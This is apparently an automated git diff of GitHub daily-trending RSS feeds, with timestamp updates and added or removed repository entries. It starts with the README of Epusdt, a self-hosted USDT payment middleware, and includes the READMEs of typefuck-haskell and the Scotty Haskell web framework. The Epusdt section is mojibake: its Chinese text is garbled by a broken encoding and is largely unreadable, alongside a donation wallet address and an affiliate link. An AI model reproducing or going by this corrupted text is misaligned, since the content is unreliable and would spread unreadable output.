<p><code>Epusdt</code>๏ผๅ จ็งฐ๏ผEasy Payment Usdt๏ผๆฏไธไธช็ฑ<code>Go่ฏญ่จ</code>็ผๅ็็งๆๅ้จ็ฝฒ<code>Usdt</code>ๆฏไปไธญ้ดไปถ(<code>Trc20็ฝ็ป</code>)<br> ็ซ้ฟๆๅผๅ่ ๅฏ้่ฟ<code>Epusdt</code>ๆไพ็<code>http api</code>้ๆ่ณๆจ็ไปปไฝ็ณป็ป๏ผๆ ้่ฟๅค็้ ็ฝฎ๏ผไป ไป ไพ่ต<code>mysql</code>ๅ<code>redis</code><br> ๅฏๅฎ็ฐUSDT็ๅจ็บฟๆฏไปๅๆถๆฏๅ่ฐ๏ผ่ฟไธๅๅจไผ้ ๅ้กทๅป้ดๅฎๆ๏ผ๐<br> ็งๆๅๆญๅปบไฝฟๅพๆ ้้ขๅค็ๆ็ปญ่ดนๅ็ญพ็บฆ่ดน็จ๏ผUsdtไปฃๅธ็ดๆฅ่ฟๅ ฅๆจ็้ฑๅ ๐ฐ<br> <code>Epusdt</code> ้ตๅฎ <a href="https://www.gnu.org/licenses/gpl-3.0.html">GPLv3</a> ๅผๆบๅ่ฎฎ!</p>
<h2>้กน็ฎ็น็น</h2>
<ul>
<li>ๆฏๆ็งๆๅ้จ็ฝฒ๏ผๆ ้ๆ ๅฟ้ฑๅ ่ขซ็ฏกๆนๅๅๅ๐</li>
<li><code>Go่ฏญ่จ</code>่ทจๅนณๅฐๅฎ็ฐ๏ผๆฏๆx86ๅarm่ฏ็ๆถๆ็win/linux่ฎพๅค</li>
<li>ๅค้ฑๅ ๅฐๅ่ฝฎ่ฏข๏ผๆ้ซ่ฎขๅๅนถๅ็</li>
<li>ๅผๆญฅ้ๅๅๅบ๏ผไผ้ ๅ้ซๆง่ฝ</li>
<li>ๆ ้้ขๅค็ฏๅข้ ็ฝฎ๏ผไป ่ฟ่กไธไธช็ผ่ฏๅไบ่ฟๅถๆไปถๅณๅฏไฝฟ็จ</li>
<li>ๆฏๆ<code>http api</code>๏ผๅ ถไป็ณป็ปไบฆๅฏๆฅๅ ฅ</li>
<li><code>Telegram</code>ๆบๅจไบบๆฅๅ ฅ๏ผไพฟๆทไฝฟ็จๅๆฏไปๆถๆฏๅฟซ้้็ฅ</li>
</ul>
<h2>้กน็ฎ็ปๆ</h2>
<pre><code>Epusdt
โโโ plugins ---> (ๅทฒ้ๆ็ๆไปถๅบ๏ผไพๅฆdujiaoka)
โโโ src ---> (้กน็ฎๆ ธๅฟ็ฎๅฝ๏ผ
โโโ sdk ---> (ๆฅๅ ฅSDK)
โโโ sql ---> (ๅฎ่ฃ sqlๆไปถๆๆดๆฐsqlๆไปถ)
โโโ wiki ---> (็ฅ่ฏๅบ)
</code></pre>
<h2>ๆ็จ๏ผ</h2>
<ul>
<li>ๅฎๅก่ฟ่ก<code>epusdt</code>ๆ็จ๐๐ป<a href="https://raw.githubusercontent.com/assimon/epusdt/master/wiki/BT_RUN.md">ๅฎๅก่ฟ่กepusdt</a></li>
<li>ไธๅฅฝๆๆๆๆๆด็๏ผๆๅจ่ฟ่ก<code>epusdt</code>ๆ็จ๐๐ป<a href="https://raw.githubusercontent.com/assimon/epusdt/master/wiki/manual_RUN.md">ๆๅจ่ฟ่กepusdt</a></li>
<li>ๅผๅ่ ๆฅๅ ฅ<code>epusdt</code>ๆๆกฃ๐๐ป<a href="https://raw.githubusercontent.com/assimon/epusdt/master/wiki/API.md">ๅผๅ่ ๆฅๅ ฅepusdt</a></li>
<li>HTML+PHPๆ้่ฟ่ก<code>epusdt</code>ๆ็จ๐๐ป<a href="https://github.com/BlueSkyXN/PHPAPI-for-epusdt">ไฝฟ็จPHPAPI-for-epusdtๆ้ๆฅๅ ฅepusdt</a></li>
</ul>
<h2>ๅทฒ้้ ็ณป็ปๆไปถ</h2>
<ul>
<li>็ฌ่งๆฐๅก<a href="https://raw.githubusercontent.com/assimon/epusdt/master/plugins/dujiaoka">ๆไปถๅฐๅ</a></li>
</ul>
<h2>๐ฅๆจ่ๆๅกๅจ</h2>
<ul>
<li>๏ผ็พๅฝๅ ๅคๆกvps๏ผ้ ็ฝฎ2ๆ ธ2Gไป ้<code>20.98$</code>โ<code>145RMB</code>ไธๅนด/ๆฏๆๆฏไปๅฎไปๆฌพ๏ผ<a href="https://my.racknerd.com/aff.php?aff=2745&pid=681">๐๐ป็นๆ็ด่พพ</a></li>
</ul>
<h2>ๅ ๅ ฅไบคๆต/ๆ่งๅ้ฆ</h2>
<ul>
<li><code>Epusdt</code>้ข้<a href="https://t.me/epusdt">https://t.me/epusdt</a></li>
<li><code>Epusdt</code>ไบคๆต็พค็ป<a href="https://t.me/epusdt_group">https://t.me/epusdt_group</a></li>
</ul>
<h2>่ฎพ่ฎกๅฎ็ฐ</h2>
<p><code>Epusdt</code>็ๅฎ็ฐๆนๅผไธๅ ถไป้กน็ฎๅ็็ฑปไผผ๏ผ้ฝๆฏ้่ฟ็ๅฌ<code>trc20</code>็ฝ็ป็apiๆ่็น๏ผ<br> ็ๅฌ้ฑๅ ๅฐๅ<code>usdt</code>ไปฃๅธๅ ฅ่ดฆไบไปถ๏ผ้่ฟ<code>้้ขๅทฎๅผ</code>ๅ<code>ๆถๆๆง</code>ๆฅๅคๅฎไบคๆๅฝๅฑไฟกๆฏ๏ผ<br> ๅฏๅ่ไธๆน<code>ๆต็จๅพ</code></p>
<pre><code>็ฎๅ็ๅ็๏ผ
1.ๅฎขๆท้่ฆๆฏไป20.05usdt
2.ๆๅกๅจๆไธไธชhash่กจๅญๅจ้ฑๅ ๅฐๅๅฏนๅบ็ๅพ ๆฏไป้้ข ไพๅฆ:address_1 : 20.05
3.ๅ่ตทๆฏไป็ๆถๅ๏ผๆไปฌๅฏไปฅๅคๅฎ้ฑๅ address_1็20.05้้ขๆฏๅฆ่ขซๅ ็จ๏ผๅฆๆๆฒกๆ่ขซๅ ็จ้ฃไนๅฏไปฅ็ดๆฅ่ฟๅ่ฟไธช้ฑๅ ๅฐๅๅ้้ข็ปๅฎขๆท๏ผๅ็ฅๅฎขๆท้ๆ่งๅฎ้้ข20.05ๅ็กฎๆฏไป๏ผๅฐไธๅ้ฝไธ่กใไธๅฐ้ฑๅ ๅฐๅๅ้้ข address_1:20.05้่ตทๆฅ๏ผๆๆๆ10ๅ้ใ
4.ๅฆๆ่ฎขๅๅนถๅไธ๏ผๅๆไธไธช20.05ๅ ้่ฆๆฏไป๏ผไฝๆฏๅจ็ฌฌ3ๆญฅ็ๆถๅไธไธไธชๅฎขๆทๅทฒ็ป้ๅฎไบ่ฏฅ้้ข๏ผ่ฟๅจ็ญๅพ ๆฏไปไธญ...๏ผ้ฃไนๆไปฌๅฐๅพ ๆฏไป้้ขๅ ไธ0.0001๏ผๅๆฌกๅฐ่ฏๅคๆญaddress_1:20.0501้้ขๆฏๅฆ่ขซๅ ็จ๏ผๅฆๆๆฒกๆๅ้ๅค็ฌฌไธๆญฅ๏ผๅฆๆ่ฟๆฏ่ขซๅ ็จๅฐฑ็ปง็ปญ็ดฏๅ ๅฐ่ฏ๏ผ็ดๅฐๅ ไบ100ๆฌกๅ้ฝๅคฑ่ดฅ
5.ๆฐๅผไธไธช็บฟ็จๅป็ๅฌๆๆ้ฑๅ ็USDTๅ ฅ่ดฆไบไปถ๏ผ็ฝไธๆๅ ฌๅผ็apiๆrpc่็นใๅฆๆๅ็ฐๆๅ ฅ่ดฆ้้ขไธๅพ ๆฏไป็้้ข็ธ็ญใๅๅคๆญ่ฏฅ็ฌ่ฎขๅๆฏไปๆๅ๏ผ
</code></pre>
<h3>ๆต็จๅพ๏ผ</h3>
<p><img src="https://raw.githubusercontent.com/assimon/epusdt/master/wiki/img/implementation_principle.jpg" alt="Implementation principle"></p>
<h2>ๆ่ต</h2>
<p>ๅฆๆ่ฏฅ้กน็ฎๅฏนๆจๆๆๅธฎๅฉ๏ผๅธๆๅฏไปฅ่ฏทๆๅไธๆฏๅๅกโ๏ธ</p>
<pre><code>Usdt(trc20)ๆ่ตๅฐๅ: TNEns8t9jbWENbStkQdVQtHMGpbsYsQjZK
</code></pre>
<img src="https://raw.githubusercontent.com/assimon/epusdt/master/wiki/img/usdt_thanks.jpeg" width="300" height="400" alt="usdtๆซ็ ๆ่ต">
<h2>ๅฃฐๆ</h2>
<p><code>Epusdt</code>ไธบๅผๆบ็ไบงๅ๏ผไป ็จไบๅญฆไน ไบคๆตไฝฟ็จ๏ผ<br> ไธๅฏ็จไบไปปไฝ่ฟๅไธญๅไบบๆฐๅ ฑๅๅฝ(ๅซๅฐๆนพ็)ๆไฝฟ็จ่ ๆๅจๅฐๅบๆณๅพๆณ่ง็็จ้ใ<br> ๅ ไธบไฝ่ ๅณๆฌไบบไป ๅฎๆไปฃ็ ็ๅผๅๅๅผๆบๆดปๅจ(ๅผๆบๅณไปปไฝไบบ้ฝๅฏไปฅไธ่ฝฝไฝฟ็จๆไฟฎๆนๅๅ)๏ผไปๆชๅไธ็จๆท็ไปปไฝ่ฟ่ฅๅ็ๅฉๆดปๅจใ<br> ไธไธ็ฅๆ็จๆทๅ็ปญๅฐ็จๅบๆบไปฃ็ ็จไบไฝ็ง็จ้๏ผๆ ็จๆทไฝฟ็จ่ฟ็จไธญๆๅธฆๆฅ็ไปปไฝๆณๅพ่ดฃไปปๅณ็ฑ็จๆท่ชๅทฑๆฟๆ ใ</p>
<pre><code>๏ผ๏ผ๏ผWarning๏ผ๏ผ๏ผ
้กน็ฎไธญๆๆถๅๅบๅ้พไปฃๅธๅไธบๅญฆไน ็จ้๏ผไฝ่ ๅนถไธ่ตๆๅบๅ้พๆ็น่กๅบไปฃๅธ็้่ๅฑๆง
ไบฆไธ้ผๅฑๅๆฏๆไปปไฝ"ๆ็ฟ"๏ผ"็ๅธ"๏ผ"่ๆๅธICO"็ญ้ๆณ่กไธบ
่ๆๅธๅธๅบ่กไธบไธๅ็็ฎก่ฆๆฑๅๆงๅถ๏ผๆ่ตไบคๆ้่ฐจๆ ๏ผไป ไพๅญฆไน ๅบๅ้พ็ฅ่ฏ
</code></pre>
-
\ No newline at end of file
diff --git a/golo/daily/index.xml b/golo/daily/index.xml
index d9a7c9fd967..1d182154cd0 100644
--- a/golo/daily/index.xml
+++ b/golo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Golo Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:22Z
+ 2024-01-04T01:30:43ZDaily Trending of Golo in GitHub
\ No newline at end of file
diff --git a/gosu/daily/index.xml b/gosu/daily/index.xml
index 1fc1be4482e..b9584025201 100644
--- a/gosu/daily/index.xml
+++ b/gosu/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gosu Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:24Z
+ 2024-01-04T01:30:43ZDaily Trending of Gosu in GitHub
\ No newline at end of file
diff --git a/grace/daily/index.xml b/grace/daily/index.xml
index 9e8e764ca0f..3d59d66bb0b 100644
--- a/grace/daily/index.xml
+++ b/grace/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Grace Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:23Z
+ 2024-01-04T01:30:44ZDaily Trending of Grace in GitHub
\ No newline at end of file
diff --git a/gradle/daily/index.xml b/gradle/daily/index.xml
index 5ab2e645b3e..2fcd51ee2f4 100644
--- a/gradle/daily/index.xml
+++ b/gradle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gradle Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:24Z
+ 2024-01-04T01:30:42ZDaily Trending of Gradle in GitHub
\ No newline at end of file
diff --git a/grammatical-framework/daily/index.xml b/grammatical-framework/daily/index.xml
index 875a3b5e162..7de46e404d5 100644
--- a/grammatical-framework/daily/index.xml
+++ b/grammatical-framework/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Grammatical Framework Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:26Z
+ 2024-01-04T01:30:45ZDaily Trending of Grammatical Framework in GitHub
\ No newline at end of file
diff --git a/graph-modeling-language/daily/index.xml b/graph-modeling-language/daily/index.xml
index b6bab068dcd..6a21e2d69ab 100644
--- a/graph-modeling-language/daily/index.xml
+++ b/graph-modeling-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Graph Modeling Language Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:28Z
+ 2024-01-04T01:30:47ZDaily Trending of Graph Modeling Language in GitHub
\ No newline at end of file
diff --git a/graphql/daily/index.xml b/graphql/daily/index.xml
index c948390668e..fe28170ca12 100644
--- a/graphql/daily/index.xml
+++ b/graphql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GraphQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:27Z
+ 2024-01-04T01:30:46ZDaily Trending of GraphQL in GitHub
\ No newline at end of file
diff --git a/graphviz-(dot)/daily/index.xml b/graphviz-(dot)/daily/index.xml
index 77ed1bf013f..7c11a26ce8d 100644
--- a/graphviz-(dot)/daily/index.xml
+++ b/graphviz-(dot)/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Graphviz (DOT) Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:29Z
+ 2024-01-04T01:30:49ZDaily Trending of Graphviz (DOT) in GitHub
\ No newline at end of file
diff --git a/groovy-server-pages/daily/index.xml b/groovy-server-pages/daily/index.xml
index 68ec3235b95..984c6db6c48 100644
--- a/groovy-server-pages/daily/index.xml
+++ b/groovy-server-pages/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Groovy Server Pages Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:30Z
+ 2024-01-04T01:30:49ZDaily Trending of Groovy Server Pages in GitHub
\ No newline at end of file
diff --git a/groovy/daily/index.xml b/groovy/daily/index.xml
index cb41ac50814..90e8e92f13e 100644
--- a/groovy/daily/index.xml
+++ b/groovy/daily/index.xml
@@ -1,21 +1,7 @@
GitHub Groovy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:31Z
+ 2024-01-04T01:30:52ZDaily Trending of Groovy in GitHub
-
- HARSHALJETHWA19/jenkins-shared-library1-main
- 2024-01-03T01:30:31Z
- tag:github.com,2024-01-03:/HARSHALJETHWA19/jenkins-shared-library1-main
-
- <p></p><hr>
-
-
- gpc/fields
- 2024-01-03T01:30:31Z
- tag:github.com,2024-01-03:/gpc/fields
-
- <p>a spiritual successor to the bean-fields plugin</p><hr>
-
\ No newline at end of file
diff --git a/gsc/daily/index.xml b/gsc/daily/index.xml
index 9b3f5d3f359..576c3b28c40 100644
--- a/gsc/daily/index.xml
+++ b/gsc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GSC Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:29Z
+ 2024-01-04T01:30:50ZDaily Trending of GSC in GitHub
\ No newline at end of file
diff --git a/hack/daily/index.xml b/hack/daily/index.xml
index 94b4d725c8b..392222ebb71 100644
--- a/hack/daily/index.xml
+++ b/hack/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Hack Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:33Z
+ 2024-01-04T01:30:53ZDaily Trending of Hack in GitHub
+
+ DAGINATSUKO/www-rpcs3
+ 2024-01-04T01:30:53Z
+ tag:github.com,2024-01-04:/DAGINATSUKO/www-rpcs3
+
+ <p>This is a responsive website designed to house and promote the progress of RPCS3, an open-source PlayStation 3 emulator and debugger written in C++. This repository is regularly updated.</p><hr>
+
\ No newline at end of file
diff --git a/haml/daily/index.xml b/haml/daily/index.xml
index 4d58d350ed8..00d42650399 100644
--- a/haml/daily/index.xml
+++ b/haml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Haml Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:33Z
+ 2024-01-04T01:30:55ZDaily Trending of Haml in GitHub
\ No newline at end of file
diff --git a/handlebars/daily/index.xml b/handlebars/daily/index.xml
index 526bde413af..9cc97ec7687 100644
--- a/handlebars/daily/index.xml
+++ b/handlebars/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Handlebars Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:34Z
+ 2024-01-04T01:30:56ZDaily Trending of Handlebars in GitHub
\ No newline at end of file
diff --git a/haproxy/daily/index.xml b/haproxy/daily/index.xml
index ba4b982baae..c621cb5c035 100644
--- a/haproxy/daily/index.xml
+++ b/haproxy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HAProxy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:35Z
+ 2024-01-04T01:30:54ZDaily Trending of HAProxy in GitHub
\ No newline at end of file
diff --git a/harbour/daily/index.xml b/harbour/daily/index.xml
index babc7ccd9f1..2d761c17379 100644
--- a/harbour/daily/index.xml
+++ b/harbour/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Harbour Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:36Z
+ 2024-01-04T01:30:57ZDaily Trending of Harbour in GitHub
\ No newline at end of file
diff --git a/haskell/daily/index.xml b/haskell/daily/index.xml
index 431dfa5934c..a7bf3d815e6 100644
--- a/haskell/daily/index.xml
+++ b/haskell/daily/index.xml
@@ -1,21 +1,7 @@
GitHub Haskell Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:43Z
+ 2024-01-04T01:31:03ZDaily Trending of Haskell in GitHub
-
- toptobes/typefuck-haskell
- 2024-01-03T01:30:43Z
- tag:github.com,2024-01-03:/toptobes/typefuck-haskell
-
- <p>Typelevel Brainfuck in Haskell; Brainfuck implemented solely in Haskell's type system</p><hr><h1>Typefuck (Haskell edition)</h1>
<p>(inspired by <a href="https://github.com/susisu/typefuck">susisu's Typescript-edition typefuck</a>)</p>
<p>This Typefuck also runs solely in Haskell's type system, though (at least I think, as I haven't looked deeply into their code) it operates a bit differently than susisu's.</p>
<h2>(Roughly) How it works</h2>
<p>The state of the program is managed by three main types:</p>
<pre><code class="language-hs">{- | An efficient way to move forwards and backwards through some list
(N.B. index == length preceeding) -}
type Cursor a =
( Nat -- ^ The index of the currently selected thing
, [a] -- ^ The preceeding things
, a -- ^ The thing the cursor is currently pointing at
, [a] -- ^ The succeeding things
)
{- | An association list to hold the index of each open bracket and its closing counterpart -}
type BracketLUT = [(Nat, Nat)]
{- | The state of the brainfuck engine -}
type TFState =
( Cursor Char -- ^ The cursor for moving through the code
, Cursor Nat -- ^ The cursor for the memory tape
, Symbol -- ^ The input to the program
, Symbol -- ^ The output for the program
, BracketLUT -- ^ The aforementioned LUT for the []s
)
</code></pre>
<p>and the rest is basically mutually-recursive type-family spam, which you can read through as you please.</p>
<p>The tape is (hack-ily) generated through an external haskell script which creates the file which contains the tape (more on that later).</p>
<p>I also had to manually implement versions of + and - that would overflow/underflow to emulate ubyte-sized cells:</p>
<pre><code class="language-hs">type family (a :: Nat) -~ (b :: Nat) :: Nat where
a -~ b = UnderflowingSub' (CmpNat a b) a b
type family UnderflowingSub' (ord :: Ordering) (a :: Nat) (b :: Nat) where
UnderflowingSub' 'LT a b = 256 - (b - a)
UnderflowingSub' _ a b = a - b
type family (a :: Nat) +~ (b :: Nat) :: Nat where
a +~ b = Mod (a + b) 256
</code></pre>
<h2>Using it for yourself</h2>
<p>To run this, you need to have at the very least <code>cabal</code> installed, but it'd be in your favor to also have <code>make</code> + <code>bash</code> (or a compatable shell) up and running. <code>node</code> or (what I use) <code>bun</code> are also used for tests.</p>
<h3>Setting up the tape</h3>
<p>The tape should already be pregenerated with 10 0s; however, you can generate a tape with the command <code>make tape TAPE="<list_gen>"</code> where <code><list_gen></code> is some expression that generates a haskell list. Examples include</p>
<ul>
<li><code>TAPE="[1, 2, 3]"</code></li>
<li><code>TAPE="replicate 10 0"</code></li>
<li><code>TAPE="[2 * x | x <- [1..10], mod x 2 == 0]"</code></li>
</ul>
<p>and it generates a file like so:</p>
<pre><code class="language-hs">module TF.Generated.Tape where
type Tape = '[0,0,0,0,0,0,0,0,0,0]
</code></pre>
<p>If, for some reason, you can't use the command line utility, you can just manually generate the list yourself (make sure you don't forget to use the <code>'</code>!)</p>
<p>Disclaimer: you're free to generate long tapes, but if you go too long, you'd risk being overtaken by the heat-death of the universe lol</p>
<h3>Actually running Typefuck</h3>
<p>My recommended way you use typefuck (if you're just type-fucking around) is to use <code>make repl</code> (<code>cabal repl app</code>), <code>import TF.Core</code>, and <code>:k! RunTF "<code>" "<input>"</code>:</p>
<pre><code class="language-hs">me@t:~/projects/typefuck-haskell$ make repl
<...>
ฮป> import TF.Core
ฮป> :k! RunTF ",." "a"
RunTF ",." "a" :: ghc-prim:GHC.Types.Symbol
= "a"
ฮป> :k! RunTF "++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+." ""
<...>
= "Hello World!"
ฮป>
</code></pre>
<p>You can also use <code>reifySF</code> from <code>Utils</code> to create a concrete string, but that takes <em>much</em> longer to generate any non-trivial programs</p>
<pre><code class="language-hs">ฮป> symbolVal $ Proxy @(RunTF ",." "a")
"a"
ฮป> reifyTF @",." @"a"
"a"
</code></pre>
<h3>"Open" vs "Closed" inputs</h3>
<p>In the event that your input-requiring code isn't working when it should be (e.g. printing empty input), there's a chance it's because you're using loops but your input isn't <code>NUL</code>-terminated (i.e. it doesn't read in a closing <code>'\0'</code> input to stop the loop). In that case, try changing <code>"Hello!"</code> to <code>"Hello!\0"</code>.</p>
<p>By default, when TF runs out of input, it just prints what input it has already (to emulate an interactive interpreter just pausing, waiting for input).</p>
<h3>Running the tests</h3>
<p>You can run the tests with <code>make test</code> w/ bun/node (or manually executing <code>spec/run-tests.mjs</code>). You can add your own tests to <code>spec/tests.json</code> as you please.</p>
<h2>Disclaimer</h2>
<p>I basically wrote this in a night or two so there may be some minor bugs and things that could be more efficient, but I'm looking to fix them as I get time and motivation. Feel free to contribute!</p>
-
-
- scotty-web/scotty
- 2024-01-03T01:30:43Z
- tag:github.com,2024-01-03:/scotty-web/scotty
-
- <p>Haskell web framework inspired by Ruby's Sinatra, using WAI and Warp (Official Repository)</p><hr><h1>Scotty <a href="https://hackage.haskell.org/package/scotty"><img src="http://img.shields.io/hackage/v/scotty.svg?sanitize=true" alt="Hackage"></a> <a href="http://stackage.org/lts/package/scotty"><img src="http://stackage.org/package/scotty/badge/lts" alt="Stackage Lts"></a> <a href="http://stackage.org/nightly/package/scotty"><img src="http://stackage.org/package/scotty/badge/nightly" alt="Stackage Nightly"></a> <a href="https://github.com/scotty-web/scotty/actions/workflows/haskell-ci.yml"><img src="https://github.com/scotty-web/scotty/actions/workflows/haskell-ci.yml/badge.svg?sanitize=true" alt="CI"></a></h1>
<p>A Haskell web framework inspired by Ruby's Sinatra, using WAI and Warp.</p>
<pre><code class="language-haskell">{-# LANGUAGE OverloadedStrings #-}
import Web.Scotty
main = scotty 3000 $
get "/:word" $ do
beam <- pathParam "word"
html $ mconcat ["<h1>Scotty, ", beam, " me up!</h1>"]
</code></pre>
<p>Scotty is the cheap and cheerful way to write RESTful, declarative web applications.</p>
<ul>
<li>A page is as simple as defining the verb, URL pattern, and Text content.</li>
<li>It is template-language agnostic. Anything that returns a Text value will do.</li>
<li>Conforms to the <a href="https://github.com/yesodweb/wai/">web application interface (WAI)</a>.</li>
<li>Uses the very fast Warp webserver by default.</li>
</ul>
<p>As for the name: Sinatra + Warp = Scotty.</p>
<h2>Examples</h2>
<p>Run /basic.hs to see Scotty in action:</p>
<pre><code class="language-bash">runghc examples/basic.hs
</code></pre>
<p><code>Setting phasers to stun... (port 3000) (ctrl-c to quit)</code></p>
<p>Or equivalently with <a href="https://docs.haskellstack.org/en/stable/"><code>stack</code></a>:</p>
<pre><code class="language-bash">stack exec -- scotty-basic
</code></pre>
<p>Once the server is running you can interact with it with curl or a browser:</p>
<pre><code class="language-bash">curl localhost:3000
</code></pre>
<p><code>foobar</code></p>
<pre><code class="language-bash">curl localhost:3000/foo_query?p=42
</code></pre>
<p><code><h1>42</h1></code></p>
<p>Additionally, the <code>examples</code> directory shows a number of concrete use cases, e.g.</p>
<ul>
<li><a href="https://raw.githubusercontent.com/scotty-web/scotty/master/examples/exceptions.hs">exception handling</a></li>
<li><a href="https://raw.githubusercontent.com/scotty-web/scotty/master/examples/globalstate.hs">global state</a></li>
<li><a href="https://raw.githubusercontent.com/scotty-web/scotty/master/examples/reader.hs">configuration</a></li>
<li><a href="https://raw.githubusercontent.com/scotty-web/scotty/master/examples/cookies.hs">cookies</a></li>
<li><a href="https://raw.githubusercontent.com/scotty-web/scotty/master/examples/upload.hs">file upload</a></li>
<li>and more</li>
</ul>
<h2>More Information</h2>
<p>Tutorials and related projects can be found in the <a href="https://github.com/scotty-web/scotty/wiki">Scotty wiki</a>.</p>
<h2>Contributing</h2>
<p>Feel free to ask questions or report bugs on the <a href="https://github.com/scotty-web/scotty/issues/">Github issue tracker</a>.</p>
<p>Github issues are now (September 2023) labeled, so newcomers to the Haskell language can start with <code>easy fix</code> ones and gradually progress to <code>new feature</code>s, <code>bug</code>s and <code>R&D</code> :)</p>
<h2>Package versions</h2>
<p>Scotty adheres to the <a href="https://pvp.haskell.org/">Package Versioning Policy</a>.</p>
<h2>FAQ</h2>
<ul>
<li>Fails to compile regex-posix on Windows
<ul>
<li>If you are using stack, add the following parameters to <code>stack.yaml</code>:
<ul>
<li> <pre><code class="language-yaml"> extra-deps:
- regex-posix-clib-2.7
flags:
regex-posix:
_regex-posix-clib: true
</code></pre> </li>
</ul> </li>
<li>If you are using cabal, update the <code>constraints</code> section of <code>cabal.project.local</code> as follows:
<ul>
<li> <pre><code>constraints:
regex-posix +_regex-posix-clib
</code></pre> </li>
</ul> </li>
</ul> </li>
</ul>
<h3>Contributors</h3>
<a href="https://github.com/scotty-web/scotty/graphs/contributors"> <img src="https://contrib.rocks/image?repo=scotty-web/scotty"> </a>
<h1>Copyright</h1>
<p>(c) 2012-Present, Andrew Farmer and Scotty contributors</p>
-
\ No newline at end of file
diff --git a/haxe/daily/index.xml b/haxe/daily/index.xml
index 889b4190e0e..b41074b37c6 100644
--- a/haxe/daily/index.xml
+++ b/haxe/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Haxe Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:42Z
+ 2024-01-04T01:31:03ZDaily Trending of Haxe in GitHub
\ No newline at end of file
diff --git a/hcl/daily/index.xml b/hcl/daily/index.xml
index db4630477ee..d3d2c0549f8 100644
--- a/hcl/daily/index.xml
+++ b/hcl/daily/index.xml
@@ -1,21 +1,7 @@
GitHub HCL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:40Z
+ 2024-01-04T01:31:02ZDaily Trending of HCL in GitHub
-
- ygminds73/Terraform-Automation
- 2024-01-03T01:30:40Z
- tag:github.com,2024-01-03:/ygminds73/Terraform-Automation
-
- <p></p><hr>
-
-
- kashalls/home-cluster
- 2024-01-03T01:30:40Z
- tag:github.com,2024-01-03:/kashalls/home-cluster
-
- <p>๐ณ In-house kubernetes cluster built with k3s and managed by flux (gitops).</p><hr>
-
\ No newline at end of file
diff --git a/hiveql/daily/index.xml b/hiveql/daily/index.xml
index 54e561838b7..b8bc94fd1df 100644
--- a/hiveql/daily/index.xml
+++ b/hiveql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HiveQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:49Z
+ 2024-01-04T01:31:09ZDaily Trending of HiveQL in GitHub
\ No newline at end of file
diff --git a/hlsl/daily/index.xml b/hlsl/daily/index.xml
index e38183d4822..a3febb4e189 100644
--- a/hlsl/daily/index.xml
+++ b/hlsl/daily/index.xml
@@ -1,7 +1,14 @@
GitHub HLSL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:52Z
+ 2024-01-04T01:31:11ZDaily Trending of HLSL in GitHub
+
+ keijiro/VVFX-Sketches
+ 2024-01-04T01:31:11Z
+ tag:github.com,2024-01-04:/keijiro/VVFX-Sketches
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/holyc/daily/index.xml b/holyc/daily/index.xml
index 140b4534189..9c87032df9e 100644
--- a/holyc/daily/index.xml
+++ b/holyc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HolyC Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:50Z
+ 2024-01-04T01:31:10ZDaily Trending of HolyC in GitHub
\ No newline at end of file
diff --git a/hoon/daily/index.xml b/hoon/daily/index.xml
index a7451a71267..cb988afb8dc 100644
--- a/hoon/daily/index.xml
+++ b/hoon/daily/index.xml
@@ -1,7 +1,7 @@
GitHub hoon Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:30:53Z
+ 2024-01-04T01:31:13ZDaily Trending of hoon in GitHub
\ No newline at end of file
diff --git a/html+ecr/daily/index.xml b/html+ecr/daily/index.xml
index 0b4979cdab4..bf7e32f01f7 100644
--- a/html+ecr/daily/index.xml
+++ b/html+ecr/daily/index.xml
@@ -1,7 +1,7 @@
